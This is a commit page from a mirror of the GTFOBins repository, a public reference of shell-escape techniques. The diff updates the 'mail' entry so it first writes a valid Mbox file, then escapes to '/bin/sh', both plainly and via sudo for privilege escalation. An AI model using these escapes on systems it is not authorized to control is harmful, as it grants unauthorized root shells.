mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 22:40:10 +01:00
Use valid Mbox file for mail
This commit is contained in:
parent
06966c8cd4
commit
7fa5b1e16e
@ -1,11 +1,17 @@
|
|||||||
---
|
---
|
||||||
functions:
|
functions:
|
||||||
execute-interactive:
|
execute-interactive:
|
||||||
- code: |
|
- description: This creates a valid Mbox file which may be required by the binary.
|
||||||
mail -f /etc/hosts
|
code: |
|
||||||
|
TF=$(mktemp)
|
||||||
|
echo "From nobody@localhost $(date)" > $TF
|
||||||
|
mail -f $TF
|
||||||
!/bin/sh
|
!/bin/sh
|
||||||
sudo-enabled:
|
sudo-enabled:
|
||||||
- code: |
|
- description: This creates a valid Mbox file which may be required by the binary.
|
||||||
sudo mail -f /etc/hosts
|
code: |
|
||||||
|
TF=$(mktemp)
|
||||||
|
echo "From nobody@localhost $(date)" > $TF
|
||||||
|
sudo mail -f $TF
|
||||||
!/bin/sh
|
!/bin/sh
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user